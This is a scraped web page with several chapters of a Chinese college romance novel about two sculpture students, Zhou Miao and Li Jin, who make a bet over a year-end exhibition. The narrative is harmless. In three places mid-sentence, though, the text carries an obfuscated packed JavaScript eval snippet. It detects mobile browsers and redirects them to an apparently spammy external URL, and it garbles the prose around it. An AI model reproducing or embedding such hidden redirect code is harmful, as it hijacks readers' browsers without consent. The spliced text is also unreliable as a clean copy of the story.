“周淼。”她重复一遍，解释道：“我是昨天晚上在书店手机没电那个，你帮我付了书钱。” 那头似乎缓了很久才想起周淼是那位人物，低低地应了一声。 “你有事？” “有。” “讲。” 周淼语调轻快温和，听起来让人觉得舒服：“是这样，我早上起来看见你昨天晚上给我打了视频电话，就想问问是有什么事吗？不好意思，昨天晚上我已经睡了，手机设了静音没看见。” 她解释一番，又道：“还有，昨天的书钱我已经给你转过去了，谢谢，以后你要是有什么事需要帮忙的，可以找我。”电话那头叽叽喳喳，黎烬闭着眼一个字也没听进去。他一个翻身，躺到了另一边，眉头微微皱着，显然是被人扰了清梦不爽。 周淼声音忽然一停，一切又恢复到安静。 没有挂断，也没有声音，就这样持续着。 半响，平躺着的人动了动，一只手懒懒搁在脸上，哑着声道：“怎么不继续说了？” “不好意思，打扰你睡觉了。” “还有吗？” “没了……” “我记得你说过，不喜欢欠人情。” “嗯。” “那你帮我做件事。” — — 半岛花园这个小区，算是A市此区域内地段最好的小区之一。 周淼之前就听秦佳说过，黎烬家境优越，出手阔绰，不是一般的有钱。这小区不仅交通方便，配套齐全，最主要的是离南工大学很近。 电话那头沙哑无力的声音还回荡在周淼耳边。她顿了顿，转身走进附近的超市买了一瓶蜂蜜。 黎烬住在3栋15楼，周淼按照指示图很快就找到了。 电梯里，周淼看着手里提着的东西有些出神。 “我记得你说过，不喜欢欠人情。” “嗯。” “那你帮我做件事。” “饿了，饿得肚子疼。” “想吃椿记家的三鲜粉了。” 漆黑的大门紧闭，门上贴着的透明薄纸没撕干净，落了灰。 她伸手去敲门，里面的动静外面一点也听不见。 敲门声很轻，不一会，门打开了夹杂着黎烬慵懒的声音，比电话里沉了不少。“来了。” 黎烬打开门，松松垮垮地站着显得有些没精神，但背却挺得很直，他应该是起床洗了个澡，发梢还在滴水，滴滴答答打湿了灰色的T恤，露出的脖颈肤色略白，整个人高高瘦瘦，漆黑的眸漫不经心地扫了过来。 “早……”周淼怔怔地看着他，不知道该说些什么，尴尬的打了个招呼。 她穿着简单的白T配长裙，打扮普通，头发半梳，平日里略显高挑的身材在黎烬面前竟有几分娇小的感觉。 黎烬细细地打量了周淼一圈，眼眸微深，他转身往屋里走，“进来吧。” “你随意。”黎烬从柜子里拿出一双一次性拖鞋，放下，转身进了房间。 周淼将东西放在柜子上，换鞋时下意识往里看了几眼。 这房子户型方正，面积很大，是公寓复式楼房，落地窗视野开阔，搭配着大面积的透明玻璃窗，明净透亮，冷色调的装饰衬得整个屋很冷清，生活痕迹明显，沙发上乱丢着几件外套，倒也不是很乱，他是一个人在住？ 正想着，周淼眼前忽然出现一道阴影，以迅猛的速度朝她冲来，等周淼反应过来时人已经被吓懵，她一屁股坐在地上，呆呆地看着眼前的事物，一只金黄色的庞大金毛正站在她面前疯狂地摇着尾巴，张开嘴流着哈喇子兴奋地盯着她，喘着粗气。 周淼有些懵。 滚烫的热气喷洒在她脸上，狗尾巴在后面摇得都能扫地了。 她瞪着狗，狗看着她。 就在这僵持间，一道低低的笑声响起，带着几分漫不经心。 他不知道是什么时候出来的。 黎烬懒懒倚在拐角，脖子上挂着一块毛巾，少年微低着头看不清脸，头发凌乱，双肩抖动厉害，一看就知道他在憋着笑。 那一刻，周淼莫名觉得窘迫，脸有些烧。他抬起头，弯着唇，脸上的笑容还没压下，“你这样子真呆。” “船长，过来！”他对着金毛拍了拍手，听到呼唤，金毛头也不回地扑到黎烬身上，扒拉着他。 周淼见状瞬间松下一口气，瘫坐在地上有些没缓过来。 “它很乖，不咬人的。” “我只是突然吓到了。” 她并不怕狗，反而很喜欢。 周淼起身，拍拍手，将买好的早餐放到餐桌上：“你的三鲜粉，再不吃就不好吃了。” 椿记每天早上生意爆火，要想买到他家的早餐还真不是一件容易的事。 黎烬却不着急，他走到另一边，坐下，姿态慵懒地靠着椅子背，声音淡淡的透着几分探究：“你一个女孩子，还真敢来我家。” 是了。一个陌生人，仅有一面之缘就敢来别人家里，不是勇气可嘉就是脑子有病。 周淼从袋子里拿出蜂蜜，没有正面回答这个问题，而是问，“热水在哪。” 黎烬指了指厨房外的饮水机。 “谢谢。”她拿起蜂蜜，走到厨房里拿了一个玻璃杯，热水滚烫，空中腾起雾气，加了两勺蜂蜜搅拌，清透的水瞬间变得浑浊。她将泡好的蜂蜜水放到黎烬面前：“喝点这个，可能会好一点。” “我听你声音有些哑。” “谢了。坐吧。” 周淼在餐桌的另一边坐下，两人之间的距离有些远。 温热的水带着一丝甜味，黎烬开始仔细打量面前的女生，周淼的长相不算是那种惊艳美人，整个人很恬静，淡淡的，却让人有种说不上的感觉。 很奇怪，也很难记住。 网上说当一个人对另一个人开始产生特殊的感觉，可能是心动的开端。黎烬以前觉得扯蛋，现在也觉得扯蛋。 周淼发觉黎烬一直在看她，而且眼神复杂，她心里不免发怵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043950|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她开始主动找话题：“那个，你不吃吗，冷了就不好吃了。” “哦。” 男生声音懒懒的。 周淼：“我和我同学说了。” 黎烬：“嗯？” 周淼解释：“来你家之前，我和朋友说了这件事。”言下之意就是我没那么勇，也没那么傻。顿了顿，她继续说道：“而且，我知道你。” 他眼里忽然来了兴趣，“知道我什么？” 周淼神色一顿，像是说破了什么有些懊恼。她猛地低下头，白皙的脸瞬间爬上一抹红云。 黎烬看透她的心思，微笑，又追问她一遍。“你知道我什么了？” 周淼抬起头，咬着唇直接一鼓作气说了出来：“你是黎烬！” 眼前的人目光清澈，声音坦荡还带着几分坚决。 他看着她，短暂的停滞几秒后忽然笑了。这次没再忍，背靠着椅子哑然失笑，有几分肆意。 你是黎烬！ 这话怎么听起来这么蠢？ 周淼脸烧了起来。 他眼角微弯，“所以呢？” 周淼：“我……我昨天晚上就觉得你的名字很耳熟，像是在哪里听过。早上看见你发的微信，才想起你好像是南工雕塑系的学生，我们俩还是一届。” 黎烬：“不是好像。” “哦。” 似是不满这个回答，黎烬继续追问道：“还有呢？” 周淼眨了眨眼，垂下眼眸：“她们说你好像从来都不谈女朋友？” 黎烬夹粉的手一顿，漫不经心地嗯了一声。 “还有，我在论坛上看到了你去年展览会的作品。”周淼偏头看他，“雕塑上那只蓝色蝴蝶是蓝闪蝶吗？” 黎烬眼神有些意外。 他还以为周淼会问为什么不谈女朋友，或者别的。 有很多人问他这个问题。 但从来没有人问过蝴蝶。 “你还知道蓝闪蝶？” 周淼点了点头，笑：“我以前在生物馆里看过标本，很美。” 她问：“所以是吗？” 黎烬：“是。” “真的很好看，我还挺喜欢你这个作品。”话音忽顿，周淼有些遗憾地挑了挑眉，“只是可惜，我去年有事没有参加，只能看看图片了。” “喜欢？”黎烬懒洋洋地喝了口蜂蜜水，他吃了几口就没吃了，不知道是不是因为粉冷了，一直在喝水，声音也变得温和起来：“马上就是期末了，今年的展览会可不要错过了。” 说到这个，周淼神色变得有几分认真，肯定道：“这是当然，今年展览会的第一名肯定是我们南通的。” 第一，南通？ 胜负欲无端冒出，黎烬下意识挑了挑眉，他盯着周淼的脸，说道，“这么自信？” “那当然了！我们学校厉害的人可多了，不比你们南工差。” “我怎么不觉得呢。” “你不信？” “嗯。” “……” “不然我们就试试，打个赌。”黎烬不知何时站了起来，弓着腰，两只手撑在桌面俯身凑近，周淼与他对视，眼神平静，距离意外的有些近。 好半响，她才不慌不乱地问：“赌什么。” 他耸了耸肩，淡淡道：“就看第一名花落谁家。” 周淼：“赌注呢？” “还没想好，先欠着呗。”黎烬懒懒摇头，“怎么样？敢吗？” 周淼望着他的眼睛，那一刻，心里忽然冒出一道声音，使劲地在喊——答应他。 这也许是个机会。 一个存在理由的接近机会。 她没多想，点了点头，“行啊。反正我们南工厉害的人有很多。” “成交。”他低声一笑，声音里居透着几分蛊惑人心的味道，一双乌黑的眼紧紧盯着她， 四目相对，周淼心里忽然有种逃不掉的感觉，然后听见他说：“周淼，我很期待。” 5. 南工 下午有课，周淼没在黎烬家待很久就走了，刚走出半岛小区，手机在口袋里震动了几下。 她停下，打开手机一看，是高中好友顾岁夕发来的微信。 ——“淼淼。” ——“这几天我到A市来参加一个演讲比赛，下午你有时间的话，我们见一面吧。” 高中毕业后，他们已经很久没有联系过。周淼握紧手机，想起什么一时有些晃神，夏日炎炎，强烈的日光落下她脸上起了一层薄薄的汗，风轻轻吹过耳畔，如热浪涌过心尖。 她很快回过神，目光清明。周淼迅速回复好消息，头也不回的离开了半岛小区。 “阿烬……” “阿烬啊——”电话刚接通，楚琪大声叫嚣的声音立马嘣了出来，吵得人脑子一突：“你在干嘛呢！” 黎烬拎着衣服走进浴室，关上门漫不经心道：“洗澡呗。” “大白天的你干啥了就洗澡？要不要出来玩？”楚琪嚷嚷道：“叶晶晶在新尚开了个包厢，挺大，说是要给你赔礼道歉呢，叫了一堆人过来，现在就差你了，来不来？” 昨天半夜回家，喝得醉醺醺倒头就睡，早上起来刚洗完头周淼就来了。 “不去，我今天还有事。”手机放在水槽上，黎烬微微弓身脱掉衣服，露出坚硬紧实的肌肉。 男生线条优越，站在镜子前身姿挺拔，肩宽背阔，抓了抓头发，乌黑的眼眸透着几分散漫。 楚琪：“你能有什么事啊？” 黎烬语气随意，“期末作业。” 闻言，楚琪切的一声，忍不住吐槽黎烬，“我还以为你有什么大事呢？就这？离期末还有一个月，你急啥啊？你到底过不过来，好歹给人家晶晶一点面子啊，快点过来了，爷啊！我被她磨的快不行了！” “面子不是我能给的。说了不见就不见。”他转过身，打算掐断电话，忽然目光一顿。 马桶边的白色瓷砖地，掉落着一条细链。 这不是他的东西。 黎烬顿了顿，走过去弯身拎起地上的东西。 手指摊开玫瑰金链条，一只透彩琉璃蝴蝶吊坠在阳光下熠熠生辉，透着五彩斑斓的光芒。 黎烬眼里忽然掠过一张恬静淡雅的脸。周淼走的时候，借过厕所。 “喂！你到底来不来啊？算我求你了你来一下嘛阿烬——”楚琪开始转变战略，撒起了娇。 “不去。”黎烬收起项链，果断挂了电话。 他看了眼缠在指间的项链，举起手机慢条斯理地拍了张照片，嘴角轻轻上扬，一抹淡淡的微笑浮现脸庞。 — — 顾岁夕选的地方是大学城附近一家比较有名的咖啡店。 上完课周淼就过来了。 以前她和郭安迪经常来这家店喝咖啡。和周淼关系稍微好一点的人就会知道她不喜欢喝那些酸酸甜甜的奶茶，反而喜欢咖啡这种苦涩而香醇，馥郁中透着几分清醒的饮品。 顾岁夕和以前比变了很多，他不再是高中时性子活泼的模样，身上多了几分稳重成熟。 “好久不见了，你怎么样？”一杯香气馥郁的咖啡摆在周淼面前，顾岁夕目光亲切，这杯他亲自点的，“不知道你的口味有没有变，试试。” “谢谢。”周淼笑了笑，说：“我还可以，你呢。” “我也还行。”顾岁夕说道：“看你这样我也就放心了，我本来还挺担心你一个人。” 周淼抿了口咖啡，看他：“你有什么不放心的？” “也是，你一直都是我们三个人里面最清醒的那一个。”顾岁夕想起什么渐渐偏开了话题。 周淼：“大概在这待几天？” 顾岁夕：“两三天吧。不过这几个月恐怕会经常跑A市了，到时候我来找你玩可别嫌烦啊。” 周淼笑了笑，看着只喝了一口的热咖啡，声音淡然地说：“看来这几年你在学校里混得不错。” “还行吧，我准备考研了，如果有机会出国的话那是最好。”说到这，顾岁夕脸上不免添了几分傲气，“你在南工读的怎么样，有考虑过出国吗？你们艺术类学生应该都向往着巴黎吧。” 人的生活大概就是这样，不是往前走就是向后退，但有的人，也有可能永远停滞原地。 周淼忽然想起了秦佳，她以后会是哪一种生活？如今的选择与结果，是否觉得值得？会不会后悔？ “我没想过这些。”她道。 顾岁夕道：“那你现在可以开始考虑了，或者我帮你查查……” “不用了。我自己知道。”周淼打断他的话。 顾岁夕微愣，随即笑着点头。 他搅拌着咖啡，突然问：“北清她怎么样了。” 这应该是毕业后，顾岁夕第一次问起郑北清。 当初他们三个人在高中里是最要好的朋友，如今却彼此生疏，天南地北再难相见。 周淼声音淡淡的，“她现在一个人回老家发展了。” “我一直没联系过她，自从毕业后我们也没再见过，你和她，会不会怪我这样做，我……”顾岁夕看向周淼，表情变得犹豫复杂。 周淼面无表情道：“她现在过的挺好，家里人给她介绍了一个男朋友，两个人快结婚了吧。” “什么，就要结婚了？”顾岁夕闻言脸色大变，有些愕然。 以前郑北清在他们三个人里面成绩是最好的，但自从她出了事后，人生发生了天翻地覆的改变。 顾岁夕有些不敢相信，“没想到她现在……”他顿了顿，说道：“她本该过的更好。” 周淼嘴角轻扯，目光一下子就冷了下来。“没想到的事太多了。我当初也没想到，你会是我们三个人里面最先放弃她的人，那么厌恶和冷漠。” 此言一出，顾岁夕的脸色瞬间变得惨白。他张了张嘴，想要说些什么，却哑口无言，因为他根本无力反驳。 当年，如果他肯向深陷泥潭里的郑北清伸出援手，也许现在的他们会是另一番模样。 可当初，是他亲手松开了她。 周淼不再看他，目光转向一旁的透明玻璃门，外头是人潮如织的街道，来来往往，人生大概就是如此，她忽然想起了黎烬，他是那么的耀眼璀璨，意气风发，大好前程，似骄阳热烈，永远倨傲肆意。可郑北清本该也是如此，如果不是因为他。 周淼飘荡茫然的眸子逐渐变得清亮坚定。她盯着窗外，没头没脑地说了这么一句：“是啊，她本该过的更好。” “我们都有错。” “……” 整整一周过去，距离期末的日子越来越近，不知不觉中雕塑系每间画室充满了紧张的气氛，人越来越多，到处都是忙着赶作品的身影。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043951|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淼戴着耳机，手拿铅笔慢慢悠悠地打着草稿，辗转这么多天，她已经想好了怎么弄这次的期末作品了。 只是不知道展览会第一名的标准是什么。 那天从黎烬家离开后，周淼没有再主动联系他，黎烬也没有任何消息。两个人在各自的生活中是两个彼端，不会平行的线，即使有过一点交集也只是偶然，仅此而已。 虽然没有联系，虽然那个赌听起来就像是一句玩笑，可无形中似乎成了一个钉子，扎进了周淼心里，只要稍稍用力就会觉得疼，难受。 画室叽叽喳喳，刘圆几个人围在一起聊天。 “就快期末了，我居然一点想法都没有，怎么办？”刘圆满是沮丧，别人的作品都已经出雏形了，她连初稿都没有画好，怎能不急。 郭安迪玩着手机，嘴里叼着一根棒棒糖，懒懒道：“没事出去走一走，多转一转，也许灵感就来了。” “我们不都是这样的吗？” “我不行。真羡慕你们。”刘圆目光扫向画室里的身影，见李小音也在盯着画板在发呆，小声问道：“音音，你在想什么呢？这么认真。” 李小音将画板上的稿子拿下来递给她，语气有些无奈，“这个转角处我试了好多遍都不行，泥塑和木塑的效果都太生硬了，傅老师建议我采用金属材料混合搭配试试，要上电焊，但我以前没做过这种，现在想想就头疼。” 采用金属类材质制作雕塑需要的工具太多，也危险，需要专业的工作室和人工技法。 她摇头，说道：“也不知道今年的第一名我们学校能不能成功拿下，反正我是不行了，靠你们了。” “我也不行。”刘圆叹气道：“还是看老庄和淼淼他们吧，他们俩专业最厉害了，别看他们平时关系好，其实每次小考都较着劲呢。” 郭安迪撇她一眼，笑：“这你也看出来了？” “那可不。”刘圆说着，忽然想到什么，拉着李小音道：“不然我们去南工那边瞧瞧他们的进度。” “啊，这被发现可丢人了。”李小音表现的有些抗拒。 “这有什么，很正常啊。他们来我们学校参观，我们去他们学校参欢这种事以前就发生过，大家就是相互学习没什么的。”刘圆说道：“而且今天他们那边在体育馆进行篮球比赛，都不在画室里面。” “你怎么知道那么清楚。”郭安迪有些想笑，盯着刘圆道，“不知道的还以为你是南工的学生。” “我……我朋友在那边上学，我听她们说的。”刘圆哎呦一声，站起来看着她们道：“去不去嘛？” 李小音有些心动，“真的都不在画室？” “有也没几个人，而且他们不一定认识我们，参观完我们还可以去看他们打球啊！”刘圆微红着脸道，眼神有些激动。 “去不去？”她催促道。 郭安迪耸耸肩，“我无所谓。” 刘圆看向李小音，李小音不知在想什么脸也有些红，刘圆催急了，她才指着周淼和庄志伟的身影，支支吾吾地说着：“他们俩去，我就去。” 郭安迪忽然笑了，目光微微有些讽刺，挑眉：“你这样说，还不如把大家都叫上呢。” 另一边，刘圆盯着周淼与庄志伟忙碌的身影，思虑半刻笑了笑，十分认同地点头：“我觉得行。” 有这两个学霸在，目的才显得单纯嘛。 6. 作品 炽热的夏，校园里人来人往。 “周淼，你这表情，不知道的还以为我欠你一百万呢。”郭安迪慢悠悠地走在人群后面，目光时不时瞟向一旁的周淼。 “有这么臭吗？”周淼是被刘圆硬扯过来的，脸色自然生硬。 “有！”郭安迪肯定。她笑眯眯地揽过周淼的肩，指了指前面的身影：“不过，庄志伟的脸比你还臭，像是被欠了三百万。” 闻言周淼不禁轻笑一声，有些无奈道：“算了，就当散心了。” 南工大学的建筑风格与南通截然不同，南工比较偏英伦风，大气典雅间蕴藏着几分中式的味道，算是典型的中西结合式风格。 “你这几天总窝在画室里，看看这头发和脸，几天没洗了？”郭安迪啧啧几声，离远了一点，“我有点嫌弃。” 周淼看她一眼：“所以你想和我来个亲密接触吗？” “不想。”郭安迪立马摇头，“我错了不闹了。”顿了顿，她又道：“不过说真的，我还挺想看看南工的第一名今年的作品是什么样子。” 周淼微顿。 去年的第一名，不就是黎烬。 南工的雕塑系设在一楼，周淼上大一的时候，有学长带着他们来南工参观过他们的画室。艺术无界，南工和南通就隔一条街，更是经常相互往来，轻车熟路。 “到了！”李小音和刘圆兴奋地走在前面，招呼着后面的同学。 “这有什么好看的？”庄志伟双手抱着胸，身子靠在画室门口，一副不打算进去的样子。 虽然是良性竞争，但两边的学生谁也不服谁，并不会有自己比别人差的想法，在这里，大多数人骨子里都带几分心高气傲。少年不傲，何以少年。 “走吧，来都来了。”郭安迪走过来扯着他进去，周淼漫不经心地跟上。 这个点，画室里居然没人，看来真像刘圆说的那样，南工雕塑系与外语系正在进行篮球比赛，时间上正好错开。 画室里空荡荡的。 周淼站在讲台上，目光迅速朝下面扫了一圈。 “这里是黎烬的位置！”李小音举着手机激动喊道。话音刚落，一大堆人走过去参观。 庄志伟见状冷哼一声，转头走向另一边，眼不见为净。 黎烬的位置在画室角落里，紧靠窗户，周淼站在讲台上，一眼望下去就能看清。 窗外绿意盎然，树枝轻轻摇曳，阳光透过层层叠叠的树叶，参差不齐地照在透明玻璃窗上，风一吹，沙沙响，空落落的椅子上放在一支铅笔，隐约间仿佛能看到那道慵懒肆意的身影。 窗边已经搭好了一道人型雕塑的支架，还是双人，虽然只有一个雏形，但能看得出是一男一女，两人动作整齐环抱着，姿势飘逸，正在跳舞。 女人微微仰头弯腰，一只手优雅往后伸着，脖颈线条流畅锋利，男人站在她身后揽着女人的腰，做旋转动作。周淼目光往下，才发现这对男女的双脚竟死死地缠绕在一起，像藤蔓攀附树枝般无法挣脱，至死方休。 一时间，周淼眼里闪过很多复杂的情绪。她不得不承认，黎烬在雕塑这方面的天赋非常人能比，他是个很有灵气的人。 有些人，注定是耀眼的存在。 距离期末还有半个月时间，不难想象半个月后，这个作品完成后的惊艳程度，展览会第一名，对于黎烬来说触手可及。 周淼忽然觉得自己大意了，那么轻易就答应了和黎烬的赌约。 她极有可能会输的一败涂地。 下场惨烈…… “你怎么还站在这发呆，不下去看看嘛？”郭安迪溜完一圈回来了，发现周淼还站在讲台上，样子呆呆的。 “想什么呢？”她拍拍周淼。 周淼回神，摇摇头：“没什么。你看完了？” 郭安迪懒懒道：“看了一圈，总的来说就一句话，不相上下。” “但这第一名就不好说了。” 周淼看向她，“这么说？” 郭安迪拉过周淼，指着角落里的人群说道：“这个黎烬，比传闻中要更厉害，居然做了个双人雕塑，没得说，年级里没得比啊。” 说着她用肩推推周淼，“你不下去看看，来都来了。” 周淼没什么兴趣，拉开她，往门口走，“我已经看过了。” “你什么时候看了，我怎么没看到你人？”郭安迪跟上周淼，庄志伟走过来淡淡道：“我先回去了，你们玩吧。” 郭安迪戏谑道：“这就回去了啊班长。” 庄志伟道：“没意思。” 望着庄志伟离去的背影，郭安迪摇摇头道：“男人就是小心眼。” 周淼：“我们也走吧。” 郭安迪：“就走吗，她们说要去体育馆看黎烬打球，不去看看？” “黎烬也会上场？” “应该吧。”郭安迪继续说：“你去不去？” 周淼摇头：“不了，我饿了，回去吃饭。” “行，那你一个人先回去，听说这有帅哥打球我得去看一看，滋补一下我这颗干枯的小心脏。”郭安迪捂着胸口表情夸张。 周淼勾勾唇，“祝你好运。” “回见。”郭安迪很潇洒，挥挥手往李小音她们那边跑去。 正值中午，阳光骄燥。 周淼就来过一次南工，这会一个人走倒是有些迷路。 太热了，路上没有人，她也不知道往那边走才是正确方向，只好躲进树荫乘凉。 闷热的天，气温高到离谱，她身上已经起了一层薄汗。周淼拿出手机，正想给郭安迪打电话求助，忽然旁边砰的一声，一个易拉罐被人丢进垃圾桶，从远处抛落，留下一道漂亮的弧线。 她顿了顿，下意识抬头，随后一道低沉清冷的声音响起：“周淼？” 周淼缓缓看去，黎烬站在树荫旁的台阶上，站在阳光里，在炙热的灼烤下他依旧是那副漫不经心的模样，仿佛这世上没有什么东西能让他为之动容。 这个世界真的很怪。 明明刚刚有一大堆人要去体育馆看他打球，他却好巧不巧出现在这，这算是缘分吗？ 黎烬穿着简单的白T黑裤，走下台阶，挤进树荫里：“你怎么在这？” “我……”周淼犹豫着，在心里盘算借口，还没开口便听他说道：“来看篮球赛吗？” 今天确实有很多校外的学生出现在南工，大部分都是为了篮球赛。 周淼默了默，点头。 “那边。”黎烬漫不经心地指着一个方向。 “不了，有点饿，我想回去找个地方吃饭，但是我没怎么来过南工，你能告诉我学校大门往那边走吗？”她微红着脸，热得有点难受。 黎烬看向她，忽然问道：“你一个人吗？” 周淼解释：“不是，我和同学一起来的，但她们去体育馆了。” “那不就是一个人。”黎烬率先走出树荫，声音淡淡的：“走吧，正好我也要出去吃个饭。” 周淼愣了愣，她看着黎烬离开的背影，迟疑片刻，随即跟上。 黎烬走在前面，步伐随意却不是很快，周淼不远不近地跟着，无形中仿佛是一种配合与妥协。阳光那么烈，刺得人睁不开眼，周淼伸手挡住了眼睛，却下意识偷偷瞥向黎烬，心里有些说不上来的感觉。 学校外就是商业街，街头街尾都是餐饮小吃，极具当地人的口味，各种各样，烟火气十足。 “想吃什么？”黎烬转过身看向旁边的周淼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043952|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周淼：“都行，我不挑。” 闻言，黎烬眉头微微一挑，他突然停住盯着周淼认真地说：“女孩子，还是挑点好，不然容易被欺负。” 他意有所指，漆黑的眼眸透着几分少有的固执，拉长声音，意味深长地看着她。 周淼微顿，忽然有点受不了这个距离与眼神。 她下意识往后退，不料身后有人经过，眼看两人就要撞上了，黎烬忽然伸手扣住她的胳膊，轻轻一用力，就把周淼扯到了自己身边。 “小心点。”黎烬一只手紧扣她的手腕，转身，带着周淼往另一边走。 天气炎热，人来人往，阳光下的他白到发光，周淼垂着眸望向他没有放开的手，目光平静。 黎烬拎着周淼走进一家装饰温馨的面食店。店里开足了冷气，一走进去扑面而来的凉风令周淼全身舒畅。 “牛肉面行么？”他很自然地放开了周淼的手，问道。 周淼点点头，“可以。” 她找了个靠窗的位置坐下。黎烬点好餐回来，递给周淼一瓶冰雪碧，“这家店的牛肉面是招牌，味道还不错，你可以试试。” “谢谢。”周淼发现他还挺喜欢吃面食，上次的椿记也是。 中午，店里也就五六个人，玻璃门一关，外面的喧闹彻底阻断，周围的一切都是那么安静。 黎烬靠着椅子，不主动搭话也没什么表情，整个人没什么精神的样子。他的手机放在桌上，屏幕一直在闪。 “你的手机。”周淼轻声道。 黎烬轻轻地瞟了一眼，收回眸子淡淡道：“垃圾短信。” 不像。这频率，明显是有人在给他发消息，但他不想理。 周淼略过这个话题，“我刚刚去了你们班的画室，你这次的期末作品居然是双人雕塑，好厉害。” 闻言，黎烬瞥她一眼，眼里忽然来了兴致，他挑眉道：“原来你不是来看篮球赛的。” 周淼坐姿笔直，两只手放着桌子下面。“我就是路过，顺便看了一眼。” 她声音很轻，人看起来也是一副很乖的模样。黎烬淡淡地哦了一声，换个话题说：“你的期末作品怎么样了？” 他还记得那个赌。 不是玩笑。 周淼：“进行中。” 黎烬轻轻一笑，“有信心吗？” 周淼不作答，只是说：“我会加油努力的。” “要是你输了怎么办？”他并不打算就这样放过周淼。黎烬胳膊弓起撑着桌面，支着下巴淡声道：“我们好像还没说赌注呢。” 周淼看着他没说话。 “现在，我要好好想想了。”他的话听起来有几分意味不明的味道，周淼心跳得有些快。 她忽然生出几分烦闷，因为现在的她是被动那一方。 一旦被动久了，就会输。 她不想输。 周淼若有所思地抬头，看他：“要是你输了，怎么办？” 黎烬笑意更盛，那眼神像是寻到了一件有趣的事物。 他放下手，坐直身子，不紧不慢地看着周淼道：“你想怎么办？” 周淼凝视着他，目光一下变得平静起来，像是变了一个人。 那一瞬间，她声音坚决：“给我看你的蝴蝶。” 他身上的蝴蝶刺青，没人见过的蓝色蝴蝶。 此话一出，周遭的气氛变得有几分凝固，沉默，时间仿佛暂停。 他淡淡地问：“什么蝴蝶？” 周淼一动不动地盯着他，“你知道的。” 黎烬忽然笑了，目光变得有些耐人寻味：“为什么。” 她轻轻地笑了笑，眨眼，很自然地说：“因为，我的身上也有一只蓝色蝴蝶。” 7. 答案 面端了上来，热腾腾的，两人并没有急着动筷。 周淼很平静地说：“我听她们说你身上有一道刺青，还是一只蓝色蝴蝶的时候，我就觉得这个世界有时候真的很怪，真奇妙，又离奇。” “所以你就想看？”黎烬问。 周淼：“你不觉得很巧吗？也许这是我们俩的缘分。” 两条不平行的线，却在错综复杂中有着相似的喜好，直触灵魂深处。 黎烬很平静地看着她，“有相同纹身的人多了去了。” “可我们却相遇了。”周淼意外的有些坚持。 “面要糊了。”黎烬目光微触，但他并不打算和周淼深究这个问题，和女人谈感情聊缘分，就是在死胡同里打转。 他开始吃面。 周淼不是很饿，吃了几口就没了胃口，她打开冰镇过的雪碧，忽然听到黎烬说：“你什么时候纹的。” 她如实回答：“高三的时候。” “痛吗？”黎烬没问为什么。 周淼一顿，脑子里忽然掠过郑北清的模样，湿润昏暗的环境下，她躺在理疗床上感受着穿破皮肤的微痛与密密麻麻的酸涩，她勾了勾唇，飞快地眨了一下眼，“痛的。” 怎会不痛呢？ 又是一阵沉默。 半响，周淼终于问出了声：“你的赌约是什么？” 黎烬放下筷子，并不急：“我还要好好想一想。” 半个小时后，两人一前一后走出面食店。 周淼打算回学校赶进度。 马路边，黎烬拦了个出租车，上车前他忽然停住，看向周淼：“晚上一起出来玩吗？” 周淼握着手机低头回消息，听到黎烬这话目光忽然变了变，抬头，两人对视半刻，她摇了摇头：“不了，我还是回去赶作品吧。” “行，你加油。”黎烬轻笑。 他看了她一会，没有强求，挥了挥手便上车了。 不一会，车子驶开，很快消失在视野里。 周淼盯着车子消失的方向，面无表情地站了很久。日头还是那么烈，那么炽热，她仿佛感觉不到热，远处的树蝉声响亮，她心里其实是知道的，黎烬刚刚的邀请代表着什么。 “如果有一天，某个时刻，一个人开始无厘头邀请你出去玩，吃饭，喝酒唱歌，偶尔说起生活里的趣事，时不时的分享，嬉笑，那也就代表着他在告诉你——欢迎来到我的世界。” — — 周淼打开宿舍门，就看见郭安迪坐在她的床上玩手机，就她一个人，李小音和刘圆不在宿舍里。 “去哪了啊？你怎么回来的比我们都晚？”郭安迪玩着手机，看到周淼回来了，连头都懒得抬一下。 “没去哪，吃了个饭。”周淼放下东西，随意扯开话题：“你怎么总爱在我床上玩手机？” 郭安迪：“你的床比较香。” 周淼懒得理她这种话，在郭安迪身旁坐下：“帅哥好看吗？” 郭安迪抬起头，笑道：“帅哥当然好看了，挺不错。”说着，她细长的眼扫向对面床位：“但是她们俩应该觉得不好看吧。” 周淼：“嗯？” 郭安迪笑笑：“黎烬没来。” 周淼了然。郭安迪问：“你们宿舍要来新舍友了？” “好像是。”刘圆和李小音在宿舍里说起过。 周淼起身，找了件宽松的白T恤换上，伸手就将头发扎成丸子头，一副要出门的样子。 郭安迪见状，“你去哪？” “画室赶作业去。”周淼问：“要不要一起。” 郭安迪摇头，没兴趣。她手里拿着手机，目光却一直停滞在周淼身上，看着看着她忽然道：“周淼，你有点怪。” 